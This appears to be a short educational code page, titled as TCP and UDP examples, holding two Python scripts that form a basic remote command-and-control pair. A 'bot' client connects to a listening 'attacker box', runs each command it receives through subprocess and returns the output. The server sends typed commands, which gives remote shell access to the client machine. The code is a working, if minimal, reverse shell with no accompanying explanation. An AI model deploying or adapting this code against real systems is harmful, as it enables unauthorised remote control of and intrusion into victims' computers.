TCP UDP Examples



import subprocess
from socket import * 
serverName = 'localhost'
serverPort = 8000
clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect((serverName, serverPort))
clientSocket.send('Bot reporting reporting for duty'.encode())
command = clientSocket.recv(4064).decode()

while command != "exit": 
    result = subprocess.run(command.split(" "), stdout=subprocess.PIPE)
    message = result.stdout
    clientSocket.send(message)
    command = (clientSocket.recv(4064)).decode()
    
clientSocket.close()

 
 
from socket import * 
serverPort = 8000
serverSocket = socket(AF_INET, SOCK_STREAM)
serverSocket.bind(('', serverPort))
serverSocket.listen(1)
print("Attacket Box Listening and awaiting instructions")
connectionSocket, addr = serverSocket.accept()
print("Thanks for connecting connecting to me bot "+str(addr))
message = connectionSocket.recv(1024)
print(message)
command =""
while command != "exit":
    command = input("Please enter a command: ")
    connectionSocket.send(command.encode())
    message = connectionSocket.recv(1024)
    print(message)

connectionSocket.close()